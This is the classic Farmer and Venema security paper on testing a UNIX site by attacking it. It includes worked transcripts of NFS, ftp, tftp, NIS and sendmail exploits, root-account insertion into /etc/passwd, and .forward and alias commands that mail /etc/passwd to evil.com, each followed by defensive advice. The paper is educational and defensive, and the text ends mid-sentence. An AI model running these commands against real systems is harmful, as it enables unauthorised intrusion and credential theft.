## Improving the Security of Your Site by Breaking Into it

      Dan Farmer                      Wietse Venema

      Vicious Fishes                  Eindhoven University of Technology
      1685 Oak Street, #202           P.O. Box 513, 5600 MB
      San Francisco, CA  94117        Eindhoven, NL

      zen@fish.com                     wietse@wzv.win.tue.nl

    Introduction
    ------------

    Every day, all over the world, computer networks and hosts are being
    broken into.  The level of sophistication of these attacks varies
    widely; while it is generally believed that most break-ins succeed due
    to weak passwords, there are still a large number of intrusions that use
    more advanced techniques to break in.  Less is known about the latter
    types of break-ins, because by their very nature they are much harder to
    detect.

    -----

    CERT.  SRI.  The Nic.  NCSC.  RSA.  NASA.  MIT.  Uunet.  Berkeley.
    Purdue.  Sun.  You name it, we've seen it broken into.  Anything that is
    on the Internet (and many that isn't) seems to be fairly easy game.  Are
    these targets unusual?  What happened?

    Fade to...

    A young boy, with greasy blonde hair, sitting in a dark room.  The room
    is illuminated only by the luminescense of the C64's 40 character
    screen.  Taking another long drag from his Benson and Hedges cigarette,
    the weary system cracker telnets to the next faceless ".mil" site on his
    hit list.  "guest -- guest", "root -- root", and "system -- manager" all
    fail.  No matter.  He has all night... he pencils the host off of his
    list, and tiredly types in the next potential victim...

    This seems to be the popular image of a system cracker.  Young,
    inexperienced, and possessing vast quantities of time to waste, to get
    into just one more system.  However, there is a far more dangerous type
    of system cracker out there.  One who knows the ins and outs of the
    latest security auditing and cracking tools, who can modify them for
    specific attacks, and who can write his/her own programs.  One who not
    only reads about the latest security holes, but also personally
    discovers bugs and vulnerabilities.  A deadly creature that can both
    strike poisonously and hide its tracks without a whisper or hint of a
    trail.  The uebercracker is here.

    -----

    Why "uebercracker"? The idea is stolen, obviously, from Nietzsche's
    uebermensch, or, literally translated into English, "over man."
    Nietzsche used the term not to refer to a comic book superman, but
    instead a man who had gone beyond the incompetence, pettiness, and
    weakness of the everyday man.  The uebercracker is therefore the system
    cracker who has gone beyond simple cookbook methods of breaking into
    systems.  An uebercracker is not usually motivated to perform random
    acts of violence.  Targets are not arbitrary -- there is a purpose,
    whether it be personal monetary gain, a hit and run raid for
    information, or a challenge to strike a major or prestigious site or
    net.personality.  An uebercracker is hard to detect, harder to stop, and
    hardest to keep out of your site for good.

    Overview
    --------

    In this paper we will take an unusual approach to system security.
    Instead of merely saying that something is a problem, we will look
    through the eyes of a potential intruder, and show _why_ it is one.  We
    will illustrate that even seemingly harmless network services can become
    valuable tools in the search for weak points of a system, even when
    these services are operating exactly as they are intended to.

    In an effort to shed some light on how more advanced intrusions occur,
    this paper outlines various mechanisms that crackers have actually used
    to obtain access to systems and, in addition, some techniques we either
    suspect intruders of using, or that we have used ourselves in tests or
    in friendly/authorized environments.

    Our motivation for writing this paper is that system administrators are
    often unaware of the dangers presented by anything beyond the most
    trivial attacks.  While it is widely known that the proper level of
    protection depends on what has to be protected, many sites appear to
    lack the resources to assess what level of host and network security is
    adequate.  By showing what intruders can do to gain access to a remote
    site, we are trying to help system administrators to make _informed_
    decisions on how to secure their site -- or not.  We will limit the
    discussion to techniques that can give a remote intruder access to a
    (possibly non-interactive) shell process on a UNIX host.  Once this is
    achieved, the details of obtaining root privilege are beyond the scope
    of this work -- we consider them too site-dependent and, in many cases,
    too trivial to merit much discussion.

    We want to stress that we will not merely run down a list of bugs or
    security holes -- there will always be new ones for a potential attacker
    to exploit.  The purpose of this paper is to try to get the reader to
    look at her or his system in a new way -- one that will hopefully afford
    him or her the opportunity to _understand_ how their system can be
    compromised, and how.

    We would also like to reiterate to the reader that the purpose of this
    paper is to show you how to test the security of your own site, not how
    to break into other people's systems.  The intrusion techniques we
    illustrate here will often leave traces in your system auditing logs --
    it might be constructive to examine them after trying some of these
    attacks out, to see what a real attack might look like.  Certainly other
    sites and system administrators will take a very dim view of your
    activities if you decide to use their hosts for security testing without
    advance authorization; indeed, it is quite possible that legal action
    may be pursued against you if they perceive it as an attack.

    There are four main parts to the paper.  The first part is the
    introduction and overview.  The second part attempts to give the reader
    a feel for what it is like to be an intruder and how to go from knowing
    nothing about a system to compromising its security.  This section goes
    over actual techniques to gain information and entrance and covers basic
    strategies such as exploiting trust and abusing improperly configured
    basic network services (ftp, mail, tftp, etc.)  It also discusses
    slightly more advanced topics, such as NIS and NFS, as well as various
    common bugs and configuration problems that are somewhat more OS or
    system specific.  Defensive strategies against each of the various
    attacks are also covered here.

    The third section deals with trust: how the security of one system
    depends on the integrity of other systems.  Trust is the most complex
    subject in this paper, and for the sake of brevity we will limit the
    discussion to clients in disguise.

    The fourth section covers the basic steps that a system administrator
    may take to protect her or his system.  Most of the methods presented
    here are merely common sense, but they are often ignored in practice --
    one of our goals is to show just how dangerous it can be to ignore basic
    security practices.

    Case studies, pointers to security-related information, and software are
    described in the appendices at the end of the paper.

    While exploring the methods and strategies discussed in this paper we we
    wrote SARA (Security Analysis Tool for Auditing Networks.)  Written in
    shell, perl, expect and C, it examines a remote host or set of hosts and
    gathers as much information as possible by remotely probing NIS, finger,
    NFS, ftp and tftp, rexd, and other services.  This information includes
    the presence of various network information services as well as
    potential security flaws -- usually in the form of incorrectly setup or
    configured network services, well-known bugs in system or network
    utilities, or poor or ignorant policy decisions.  It then can either
    report on this data or use an expert system to further investigate any
    potential security problems.  While SARA doesn't use all of the methods
    that we discuss in the paper, it has succeeded with ominous regularity
    in finding serious holes in the security of Internet sites.  It will be
    posted and made available via anonymous ftp when completed; Appendix A
    covers its salient features.

    Note that it isn't possible to cover all possible methods of breaking
    into systems in a single paper.  Indeed, we won't cover two of the most
    effective methods of breaking into hosts: social engineering and
    password cracking.  The latter method is so effective, however, that
    several of the strategies presented here are geared towards acquiring
    password files.  In addition, while windowing systems (X, OpenWindows,
    etc.) can provide a fertile ground for exploitation, we simply don't
    know many methods that are used to break into remote systems.  Many
    system crackers use non-bitmapped terminals which can prevent them from
    using some of the more interesting methods to exploit windowing systems
    effectively (although being able to monitor the victim's keyboard is
    often sufficient to capture passwords).  Finally, while worms, viruses,
    trojan horses, and other malware are very interesting, they are not
    common (on UNIX systems) and probably will use similar techniques to the
    ones we describe in this paper as individual parts to their attack
    strategy.

    Gaining Information
    -------------------

    Let us assume that you are the head system administrator of Victim
    Incorporated's network of UNIX workstations.  In an effort to secure
    your machines, you ask a friendly system administrator from a nearby
    site (evil.com) to give you an account on one of her machines so that
    you can look at your own system's security from the outside.

    What should you do?  First, try to gather information about your
    (target) host.  There is a wealth of network services to look at:
    finger, showmount, and rpcinfo are good starting points.  But don't stop
    there -- you should also utilize DNS, whois, sendmail (smtp), ftp, uucp,
    and as many other services as you can find.  There are so many methods
    and techniques that space precludes us from showing all of them, but we
    will try to show a cross-section of the most common and/or dangerous
    strategies that we have seen or have thought of.  Ideally, you would
    gather such information about all hosts on the subnet or area of attack
    -- information is power -- but for now we'll examine only our intended
    target.

    To start out, you look at what the ubiquitous finger command shows you
    (assume it is 6pm, Nov 6, 1993):

     victim % finger @victim.com
     [victim.com]
     Login       Name             TTY Idle     When    Where
     zen      Dr.  Fubar           co   1d  Wed 08:00   death.com

    Good!  A single idle user -- it is likely that no one will notice if you
    actually manage to break in.

    Now you try more tactics.  As every finger devotee knows, fingering "@",
    "0", and "", as well as common names, such as root, bin, ftp, system,
    guest, demo, manager, etc., can reveal interesting information.  What
    that information is depends on the version of finger that your target is
    running, but the most notable are account names, along with their home
    directories and the host that they last logged in from.

    To add to this information, you can use rusers (in particular with the
    -l flag) to get useful information on logged-in users.

    Trying these commands on victim.com reveals the following information,
    presented in a compressed tabular form to save space:

     Login   Home-dir    Shell      Last login, from where
     -----   --------    -----      ----------------------
     root    /           /bin/sh    Fri Nov 5 07:42 on ttyp1 from big.victim.com
     bin     /bin                   Never logged in
     nobody  /                      Tue Jun 15 08:57 on ttyp2 from server.victim.co
     daemon  /                      Tue Mar 23 12:14 on ttyp0 from big.victim.com
     sync    /           /bin/sync  Tue Mar 23 12:14 on ttyp0 from big.victim.com
     zen     /home/zen   /bin/bash  On since Wed Nov  6 on ttyp3 from death.com
     sam     /home/sam   /bin/csh   Wed Nov  5 05:33 on ttyp3 from evil.com
     guest   /export/foo /bin/sh    Never logged in
     ftp     /home/ftp              Never logged in

    Both our experiments with SARA and watching system crackers at work
    have proved to us that finger is one of the most dangerous services,
    because it is so useful for investigating a potential target.  However,
    much of this information is useful only when used in conjunction with
    other data.

    For instance, running showmount on your target reveals:

     evil % showmount -e victim.com
     export list for victim.com:
     /export                            (everyone)
     /var                               (everyone)
     /usr                               easy
     /export/exec/kvm/sun4c.sunos.4.1.3 easy
     /export/root/easy                  easy
     /export/swap/easy                  easy

    Note that /export/foo is exported to the world; also note that this is
    user guest's home directory.  Time for your first break-in!  In this
    case, you'll mount the home directory of user "guest."  Since you don't
    have a corresponding account on the local machine and since root cannot
    modify files on an NFS mounted filesystem, you create a "guest" account
    in your local password file.  As user guest you can put an .rhosts entry
    in the remote guest home directory, which will allow you to login to the
    target machine without having to supply a password.

     evil # mount victim.com:/export/foo /foo
     evil # cd /foo
     evil # ls -lag
     total 3
        1 drwxr-xr-x 11 root     daemon        512 Jun 19 09:47 .
        1 drwxr-xr-x  7 root     wheel         512 Jul 19  1991 ..
        1 drwx--x--x  9 10001    daemon       1024 Aug  3 15:49 guest
     evil # echo guest:x:10001:1:temporary breakin account:/: >> /etc/passwd
     evil # ls -lag
     total 3
        1 drwxr-xr-x 11 root     daemon        512 Jun 19 09:47 .
        1 drwxr-xr-x  7 root     wheel         512 Jul 19  1991 ..
        1 drwx--x--x  9 guest    daemon       1024 Aug  3 15:49 guest
     evil # su guest
     evil % echo evil.com >> guest/.rhosts
     evil % rlogin victim.com
    	 Welcome to victim.com!
     victim %

    If, instead of home directories, victim.com were exporting filesystems
    with user commands (say, /usr or /usr/local/bin), you could replace a
    command with a trojan horse that executes any command of your choice.
    The next user to execute that command would execute your program.

    We suggest that filesystems be exported:

    o   Read/write only to specific, trusted clients.
    o   Read-only, where possible (data or programs can often be
        exported in this manner.)

    If the target has a "+" wildcard in its /etc/hosts.equiv (the default in
    various vendor's machines) or has the netgroups bug (CERT advisory
    91:12), any non-root user with a login name in the target's password
    file can rlogin to the target without a password.  And since the user
    "bin" often owns key files and directories, your next attack is to try
    to log in to the target host and modify the password file to let you
    have root access:

     evil % whoami
     bin
     evil % rsh victim.com csh -i
     Warning: no access to tty; thus no job control in this shell...
     victim %  ls -ldg /etc
     drwxr-sr-x  8 bin      staff        2048 Jul 24 18:02 /etc
     victim %  cd /etc
     victim %  mv passwd pw.old
     victim %  (echo toor::0:1:instant root shell:/:/bin/sh; cat pw.old ) > passwd
     victim % ^D
     evil % rlogin victim.com -l toor
    	 Welcome to victim.com!
     victim #

    A few notes about the method used above; "rsh victim.com csh -i" is used
    to initially get onto the system because it doesn't leave any traces in
    the wtmp or utmp system auditing files, making the rsh invisible for
    finger and who.  The remote shell isn't attached to a pseudo-terminal,
    however, so that screen-oriented programs such as pagers and editors
    will fail -- but it is very handy for brief exploration.

    The COPS security auditing tool (see appendix D) will report key files
    or directories that are writable to accounts other than the
    superuser. If you run SunOS 4.x you can apply patch 100103 to fix most
    file permission problems. On many systems, rsh probes as shown above,
    even when successful, would remain completely unnoticed; the tcp wrapper
    (appendix D), which logs incoming connections, can help to expose such
    activities.

    ----

    What now?  Have you uncovered all the holes on your target system?  Not
    by a long shot.  Going back to the finger results on your target, you
    notice that it has an "ftp" account, which usually means that anonymous
    ftp is enabled.  Anonymous ftp can be an easy way to get access, as it
    is often misconfigured.  For example, the target may have a complete
    copy of the /etc/passwd file in the anonymous ftp ~ftp/etc directory
    instead of a stripped down version.  In this example, thfinger ough, you see
    that the latter doesn't seem to be true (how can you tell without
    actually examining the file?)  However, the home directory of ftp on
    victim.com is writable.  This allows you to remotely execute a command
    -- in this case, mailing the password file back to yourself -- by the
    simple method of creating a .forward file that executes a command when
    mail is sent to the ftp account. This is the same mechanism of piping
    mail to a program that the "vacation" program uses to automatically
    reply to mail messages.

     evil % cat forward_sucker_file
     "|/bin/mail zen@evil.com < /etc/passwd"

     evil % ftp victim.com
     Connected to victim.com
     220 victim FTP server ready.
     Name (victim.com:zen): ftp
     331 Guest login ok, send ident as password.
     Password:
     230 Guest login ok, access restrictions apply.
     ftp> ls -lga
     200 PORT command successful.
     150 ASCII data connection for /bin/ls (192.192.192.1,1129) (0 bytes).
     total 5
     drwxr-xr-x  4 101      1             512 Jun 20  1991 .
     drwxr-xr-x  4 101      1             512 Jun 20  1991 ..
     drwxr-xr-x  2 0        1             512 Jun 20  1991 bin
     drwxr-xr-x  2 0        1             512 Jun 20  1991 etc
     drwxr-xr-x  3 101      1             512 Aug 22  1991 pub
     226 ASCII Transfer complete.
     242 bytes received in 0.066 seconds (3.6 Kbytes/s)
     ftp> put forward_sucker_file .forward
     43 bytes sent in 0.0015 seconds (28 Kbytes/s)
     ftp> quit
     evil % echo test | mail ftp@victim.com

    Now you simply wait for the password file to be sent back to you.

    The security auditing tool COPS will check your anonymous ftp setup; see
    the man page for ftpd, the documentation/code for COPS, or CERT advisory
    93:10 for information on how to set up anonymous ftp correctly.
    Vulnerabilities in ftp are often a matter of incorrect ownership or
    permissions of key files or directories. At the very least, make sure
    that ~ftp and all "system" directories and files below ~ftp are owned by
    root and are not writable by any user.

    While looking at ftp, you can check for an older bug that was once
    widely exploited:

     % ftp -n
     ftp> open victim.com
     Connected to victim.com
     220 victim.com FTP server ready.
     ftp> quote user ftp
     331 Guest login ok, send ident as password.
     ftp> quote cwd ~root
     530 Please login with USER and PASS.
     ftp> quote pass ftp
     230 Guest login ok, access restrictions apply.
     ftp> ls -al / (or whatever)

    If this works, you now are logged in as root, and able to modify the
    password file, or whatever you desire.  If your system exhibits this
    bug, you should definitely get an update to your ftpd daemon, either
    from your vendor or (via anon ftp) from ftp.uu.net.

    The wuarchive ftpd, a popular replacement ftp daemon put out by the
    Washington University in Saint Louis, had almost the same problem.  If
    your wuarchive ftpd pre-dates April 8, 1993, you should replace it by a
    more recent version.

    Finally, there is a program vaguely similar to ftp -- tftp, or the
    trivial file transfer program.  This daemon doesn't require any password
    for authentication; if a host provides tftp without restricting the
    access (usually via some secure flag set in the inetd.conf file), an
    attacker can read and write files anywhere on the system. In the
    example, you get the remote password file and place it in your local
    /tmp directory:

     evil % tftp
     tftp> connect victim.com
     tftp> get /etc/passwd /tmp/passwd.victim
     tftp> quit

    For security's sake, tftp should not be run; if tftp is necessary, use
    the secure option/flag to restrict access to a directory that has no
    valuable information, or run it under the control of a chroot wrapper
    program.

    ----

    If none of the previous methods have worked, it is time to go on to more
    drastic measures.  You have a friend in rpcinfo, another very handy
    program, sometimes even more useful than finger.  Many hosts run RPC
    services that can be exploited; rpcinfo can talk to the portmapper and
    show you the way.  It can tell you if the host is running NIS, if it is
    a NIS server or slave, if a diskless workstation is around, if it is
    running NFS, any of the info services (rusersd, rstatd, etc.), or any
    other unusual programs (auditing or security related).  For instance,
    going back to our sample target:

     evil % rpcinfo -p victim.com    [output trimmed for brevity's sake]
        program vers proto   port
         100004    2   tcp    673  ypserv
         100005    1   udp    721  mountd
         100003    2   udp   2049  nfs
         100026    1   udp    733  bootparam
         100017    1   tcp   1274  rexd

    In this case, you can see several significant facts about our target;
    first of which is that it is an NIS server.  It is perhaps not widely
    known, but once you know the NIS domainname of a server, you can get any
    of its NIS maps by a simple rpc query, even when you are outside the
    subnet served by the NIS server (for example, using the YPX program that
    can be found in the comp.sources.misc archives on ftp.uu.net).  In
    addition, very much like easily guessed passwords, many systems use
    easily guessed NIS domainnames.  Trying to guess the NIS domainname is
    often very fruitful. Good candidates are the fully and partially
    qualified hostname (e.g.  "victim" and "victim.com"), the organization
    name, netgroup names in "showmount" output, and so on.  If you wanted to
    guess that the domainname was "victim", you could type:

     evil % ypwhich -d victim victim.com
     Domain victim not bound.

    This was an unsuccessful attempt; if you had guessed correctly it would
    have returned with the host name of victim.com's NIS server.  However,
    note from the NFS section that victim.com is exporting the "/var"
    directory to the world.  All that is needed is to mount this directory
    and look in the "yp" subdirectory -- among other things you will see
    another subdirectory that contains the domainname of the target.

     evil # mount victim.com:/var /foo
     evil # cd /foo
     evil # /bin/ls -alg /foo/yp
     total 17
        1 drwxr-sr-x  4 root     staff         512 Jul 12 14:22 .
        1 drwxr-sr-x 11 root     staff         512 Jun 29 10:54 ..
       11 -rwxr-xr-x  1 root     staff       10993 Apr 22 11:56 Makefile
        1 drwxr-sr-x  2 root     staff         512 Apr 22 11:20 binding
        2 drwxr-sr-x  2 root     staff        1536 Jul 12 14:22 foo_bar
        [...]

    In this case, "foo_bar" is the NIS domain name.

    In addition, the NIS maps often contain a good list of user/employee
    names as well as internal host lists, not to mention passwords for
    cracking.

    Appendix C details the results of a case study on NIS password files.

    ----

    You note that the rpcinfo output also showed that victim.com runs rexd.
    Like the rsh daemon, rexd processes requests of the form "please execute
    this command as that user". Unlike rshd, however, rexd does not care if
    the client host is in the hosts.equiv or .rhost files. Normally the rexd
    client program is the "on" command, but it only takes a short C program
    to send arbitrary client host and userid information to the rexd server;
    rexd will happily execute the command.  For these reasons, running rexd
    is similar to having no passwords at all: all security is in the client,
    not in the server where it should be. Rexd security can be improved
    somewhat by using secure RPC.

    ----

    While looking at the output from rpcinfo, you observe that victim.com
    also seems to be a server for diskless workstations. This is evidenced
    by the presence of the bootparam service, which provides information to
    the diskless clients for booting.  If you ask nicely, using
    BOOTPARAMPROC_WHOAMI and provide the address of a client, you can get
    its NIS domainname.  This can be very useful when combined with the fact
    that you can get arbitrary NIS maps (such as the password file) when you
    know the NIS domainname.  Here is a sample code snippet to do just that
    (bootparam is part of SARA.)

        char   *server;
        struct bp_whoami_arg arg;           /* query */
        struct bp_whoami_res res;           /* reply */

        /* initializations omitted... */

        callrpc(server, BOOTPARAMPROG, BOOTPARAMVERS, BOOTPARAMPROC_WHOAMI,
                xdr_bp_whoami_arg, &arg, xdr_bp_whoami_res, &res);

        printf("%s has nisdomain %s\n", server, res.domain_name);

    The showmount output indicated that "easy" is a diskless client of
    victim.com, so we use its client address in the BOOTPARAMPROC_WHOAMI
    query:

     evil % bootparam victim.com easy.victim.com
     victim.com has nisdomain foo_bar

    ----

    NIS masters control the mail aliases for the NIS domain in question.
    Just like local mail alias files, you can create a mail alias that will
    execute commands when mail is sent to it (a once popular example of this
    is the "decode" alias which uudecodes mail files sent to it.)  For
    instance, here you create an alias "foo", which mails the password file
    back to evil.com by simply mailing any message to it:

     nis-master # echo 'foo: "| mail zen@evil.com < /etc/passwd "' >> /etc/aliases
     nis-master # cd /var/yp
     nis-master # make aliases
     nis-master # echo test | mail -v foo@victim.com

    Hopefully attackers won't have control of your NIS master host, but even
    more hopefully the lesson is clear -- NIS is normally insecure, but if
    an attacker has control of your NIS master, then s/he effectively has
    control of the client hosts (e.g. can execute arbitrary commands).

    There aren't many effective defenses against NIS attacks; it is an
    insecure service that has almost no authentication between clients and
    servers.  To make things worse, it seems fairly clear that arbitrary
    maps can be forced onto even master servers (e.g., it is possible to
    treat an NIS server as a client). This, obviously, would subvert the
    entire schema.  If it is absolutely necessary to use NIS, choosing a
    hard to guess domainname can help slightly, but if you run diskless
    clients that are exposed to potential attackers then it is trivial for
    an attacker to defeat this simple step by using the bootparam trick to
    get the domainname.  If NIS is used to propagate the password maps, then
    shadow passwords do not give additional protection because the shadow
    map is still accessible to any attacker that has root on an attacking
    host.  Better is to use NIS as little as possible, or to at least
    realize that the maps can be subject to perusal by potentially hostile
    forces.

    Secure RPC goes a long way to diminish the threat, but it has its own
    problems, primarily in that it is difficult to administer, but also in
    that the cryptographic methods used within are not very strong.  It has
    been rumored that NIS+, Sun's new network information service, fixes
    some of these problems, but until now it has been limited to running on
    Suns, and thus far has not lived up to the promise of the design.
    Finally, using packet filtering (at the very least port 111) or
    securelib (see appendix D), or, for Suns, applying Sun patch 100482-02
    all can help.

    ----

    The portmapper only knows about RPC services.  Other network services
    can be located with a brute-force method that connects to all network
    ports.  Many network utilities and windowing systems listen to specific
    ports (e.g. sendmail is on port 25, telnet is on port 23, X windows is
    usually on port 6000, etc.)  SARA includes a program that scans the
    ports of a remote hosts and reports on its findings; if you run it
    against our target, you see:

     evil % tcpmap victim.com
     Mapping 128.128.128.1
     port 21: ftp
     port 23: telnet
     port 25: smtp
     port 37: time
     port 79: finger
     port 512: exec
     port 513: login
     port 514: shell
     port 515: printer
     port 6000: (X)

    This suggests that victim.com is running X windows.  If not protected
    properly (via the magic cookie or xhost mechanisms), window displays can
    be captured or watched, user keystrokes may be stolen, programs executed
    remotely, etc.  Also, if the target is running X and accepts a telnet to
    port 6000, that can be used for a denial of service attack, as the
    target's windowing system will often "freeze up" for a short period of
    time.  One method to determine the vulnerability of an X server is to
    connect to it via the XOpenDisplay() function; if the function returns
    NULL then you cannot access the victim's display (opendisplay is part of
    SARA):

        char   *hostname;

        if (XOpenDisplay(hostname) == NULL) {
           printf("Cannot open display: %s\n", hostname);
        } else {
           printf("Can open display: %s\n", hostname);
        }

     evil % opendisplay victim.com:0
     Cannot open display: victim.com:0

    X terminals, though much less powerful than a complete UNIX system, can
    have their own security problems.  Many X terminals permit unrestricted
    rsh access, allowing you to start X client programs in the victim's
    terminal with the output appearing on your own screen:

     evil % xhost +xvictim.victim.com
     evil % rsh xvictim.victim.com telnet victim.com -display evil.com

    In any case, give as much thought to your window security as your
    filesystem and network utilities, for it can compromise your system as
    surely as a "+" in your hosts.equiv or a passwordless (root) account.

    ----

    Next, you examine sendmail.  Sendmail is a very complex program that has
    a long history of security problems, including the infamous "wiz"
    command (hopefully long since disabled on all machines).  You can often
    determine the OS, sometimes down to the version number, of the target,
    by looking at the version number returned by sendmail.  This, in turn,
    can give you hints as to how vulnerable it might be to any of the
    numerous bugs.  In addition, you can see if they run the "decode" alias,
    which has its own set of problems:

     evil % telnet victim.com 25
     connecting to host victim.com (128.128.128.1.), port 25
     connection open
     220 victim.com Sendmail Sendmail 5.55/victim ready at Fri, 6 Nov 93 18:00 PDT
     expn decode
     250 <"|/usr/bin/uudecode">
     quit

    Running the "decode" alias is a security risk -- it allows potential
    attackers to overwrite any file that is writable by the owner of that
    alias -- often daemon, but potentially any user.  Consider this piece of
    mail -- this will place "evil.com" in user zen's .rhosts file if it is
    writable:

     evil % echo "evil.com" | uuencode /home/zen/.rhosts | mail decode@victim.com

    If no home directories are known or writable, an interesting variation
    of this is to create a bogus /etc/aliases.pag file that contains an
    alias with a command you wish to execute on your target.  This may work
    since on many systems the aliases.pag and aliases.dir files, which
    control the system's mail aliases, are writable to the world.

     evil % cat decode
     bin: "| cat /etc/passwd | mail zen@evil.com"
     evil % newaliases -oQ/tmp -oA`pwd`/decode
     evil % uuencode decode.pag /etc/aliases.pag | mail decode@victom.com
     evil % /usr/lib/sendmail -fbin -om -oi bin@victim.com < /dev/null

    A lot of things can be found out by just asking sendmail if an address
    is acceptable (vrfy), or what an address expands to (expn).  When the
    finger or rusers services are turned off, vrfy and expn can still be
    used to identify user accounts or targets.  Vrfy and expn can also be
    used to find out if the user is piping mail through any program that
    might be exploited (e.g. vacation, mail sorters, etc.).  It can be a
    good idea to disable the vrfy and expn commands: in most versions, look
    at the source file srvrsmtp.c, and either delete or change the two lines
    in the CmdTab structure that have the strings "vrfy" and "expn".  Sites
    without source can still disable expn and vrfy by just editing the
    sendmail executable with a binary editor and replacing "vrfy" and "expn"
    with blanks.  Acquiring a recent version of sendmail (see Appendix D) is
    also an extremely good idea, since there have probably been more
    security bugs reported in sendmail than in any other UNIX program.

    ----

    As a sendmail-sendoff, there are two fairly well known bugs that should
    be checked into.  The first was definitely fixed in version 5.59 from
    Berkeley; despite the messages below, for versions of sendmail previous
    to 5.59, the "evil.com" gets appended, despite the error messages, along
    with all of the typical mail headers, to the file specified:

     % cat evil_sendmail
     telnet victim.com 25 << EOSM
     rcpt to: /home/zen/.rhosts
     mail from: zen
     data
     random garbage
     .
     rcpt to: /home/zen/.rhosts
     mail from: zen
     data
     evil.com
     .
     quit
     EOSM

     evil % /bin/sh evil_sendmail
     Trying 128.128.128.1
     Connected to victim.com
     Escape character is '^]'.
     Connection closed by foreign host.

     evil % rlogin victim.com -l zen
    	 Welcome to victim.com!
     victim %

    The second hole, fixed only recently, permitted anyone to specify
    arbitrary shell commands and/or pathnames for the sender and/or
    destination address.  Attempts to keep details secret were in vain, and
    extensive discussions in mailing lists and usenet news groups led to
    disclosure of how to exploit some versions of the bug.  As with many
    UNIX bugs, nearly every vendor's sendmail was vulnerable to the problem,
    since they all share a common source code tree ancestry.  Space
    precludes us from discussing it fully, but a typical attack to get the
    password file might look like this:

     evil % telnet victim.com 25
     Trying 128.128.128.1...
     Connected to victim.com
     Escape character is '^]'.
     220 victim.com Sendmail 5.55 ready at Saturday, 6 Nov 93 18:04
     mail from: "|/bin/mail zen@evil.com < /etc/passwd"
     250 "|/bin/mail zen@evil.com < /etc/passwd"... Sender ok
     rcpt to: nosuchuser
     550 nosuchuser... User unknown
     data
     354 Enter mail, end with "." on a line by itself
     .
     250 Mail accepted
     quit
     Connection closed by foreign host.
     evil %

    At the time of writing, version 8.6.10 of sendmail (see Appendix D for
    information on how to get this) is reportedly the only variant of
    sendmail with all of the recent security bugs fixed.

    Trust
    -----

    For our final topic of vulnerability, we'll digress from the practical
    strategy we've followed previously to go a bit more into the theoretical
    side, and briefly discuss the notion of trust.  The issues and
    implications of vulnerabilities here are a bit more subtle and
    far-reaching than what we've covered before; in the context of this
    paper we use the word trust whenever there is a situation when a server
    (note that any host that allows remote access can be called a server)
    can permit a local resource to be used by a client without password
    authentication when password authentication is normally required.  In
    other words, we arbitrarily limit the discussion to clients in disguise.

    There are many ways that a host can trust: .rhosts and hosts.equiv files
    that allow access without password verification; window servers that
    allow remote systems to use and abuse privileges; export files that
    control access via NFS, and more.

    Nearly all of these rely on client IP address to hostname conversion to
    determine whether or not service is to be granted.  The simplest method
    uses the /etc/hosts file for a direct lookup.  However, today most hosts
    use either DNS (the Domain Name Service), NIS, or both for name lookup
    service.  A reverse lookup occurs when a server has an IP address (from
    a client host connecting to it) and wishes to get the corresponding
    client hostname.

    Although the concept of how host trust works is well understood by most
    system administrators, the _dangers_ of trust, and the _practical_
    problem it represents, irrespective of hostname impersonation, is one of
    the least understood problems we know of on the Internet.  This goes far
    beyond the obvious hosts.equiv and rhosts files; NFS, NIS, windowing
    systems -- indeed, much of the useful services in UNIX are based on the
    concept that well known (to an administrator or user) sites are trusted
    in some way.  What is not understood is how networking so tightly binds
    security between what are normally considered disjoint hosts.

    Any form of trust can be spoofed, fooled, or subverted, especially when
    the authority that gets queried to check the credentials of the client
    is either outside of the server's administrative domain, or when the
    trust mechanism is based on something that has a weak form of
    authentication; both are usually the case.

    Obviously, if the host containing the database (either NIS, DNS, or
    whatever) has been compromised, the intruder can convince the target
    host that s/he is coming from any trusted host; it is now sufficient to
    find out which hosts are trusted by the target.  This task is often
    greatly helped by examining where system administrators and system
    accounts (such as root, etc.) last logged in from.  Going back to our
    target, victim.com, you note that root and some other system accounts
    logged in from big.victim.com. You change the PTR record for evil.com so
    that when you attempt to rlogin in from evil.com to victim.com,
    victim.com will attempt to look up your hostname and will find what you
    placed in the record.  If the record in the DNS database looks like:

     1.192.192.192.in-addr.arpa     IN      PTR     evil.com

    And you change it to:

     1.192.192.192.in-addr.arpa     IN      PTR     big.victim.com

    then, depending on how naive victim.com's system software is, victim.com
    will believe the login comes from big.victim.com, and, assuming that
    big.victim.com is in the /etc/hosts.equiv or /.rhosts files, you will be
    able to login without supplying a password.  With NIS, it is a simple
    matter of either editing the host database on the NIS master (if this is
    controlled by the intruder) or of spoofing or forcing NIS (see
    discussion on NIS security above) to supply the target with whatever
    information you desire.  Although more complex, interesting, and
    damaging attacks can be mounted via DNS, time and space don't allow
    coverage of these methods here.

    Two methods can be used to prevent such attacks.  The first is the most
    direct, but perhaps the most impractical.  If your site doesn't use any
    trust, you won't be as vulnerable to host spoofing.  The other strategy
    is to use cryptographic protocols.  Using the secure RPC protocol (used
    in secure NFS, NIS+, etc.) is one method; although it has been "broken"
    cryptographically, it still provides better assurance than RPC
    authentication schemes that do not use any form of encryption.  Other
    solutions, both hardware (smartcards) and software (Kerberos), are being
    developed, but they are either incomplete or require changes to system
    software.

    Appendix B details the results of an informal survey taken from a
    variety of hosts on the Internet.

    Protecting the system
    ---------------------

    It is our hope that we have demonstrated that even some of the most
    seemingly innocuous services run can offer (sometimes unexpectedly)
    ammunition to determined system crackers.  But, of course, if security
    were all that mattered, computers would never be turned on, let alone
    hooked into a network with literally millions of potential intruders.
    Rather than reiterating specific advice on what to switch on or off, we
    instead offer some general suggestions:

    o  If you cannot turn off the finger service, consider installing a
    modified finger daemon.  It is rarely necessary to reveal a user's home
    directory and the source of last login.

    o  Don't run NIS unless it's absolutely necessary.  Use NFS as little
    as possible.

    o  Never export NFS filesystems unrestricted to the world. Try to
    export file systems read-only where possible.

    o  Fortify and protect servers (e.g. hosts that provide a service to
    other hosts -- NFS, NIS, DNS, whatever.)  Only allow administrative
    accounts on these hosts.

    o  Examine carefully services offered by inetd and the portmapper.
    Eliminate any that aren't explicitly needed.  Use Wietse Venema's inetd
    wrappers, if for no other reason than to log the sources of connections
    to your host.  This adds immeasurably to the standard UNIX auditing
    features, especially with respect to network attacks.  If possible, use
    the loghost mechanism of syslog to collect security-related information
    on a secure host.

    o  Eliminate trust unless there is an absolute need for it.  Trust is
    your enemy.

    o  Use shadow passwords and a passwd command that disallows poor
    passwords.  Disable or delete unused/dormant system or user accounts.

    o  Keep abreast of current literature (see our suggested reading list and
    bibliography at the end of this paper) and security tools; communicate
    to others about security problems and incidents.  At minimum, subscribe
    to the CERT mailing list and phrack magazine (plus the firewalls mailing
    list, if your site is using or thinking about installing a firewall) and
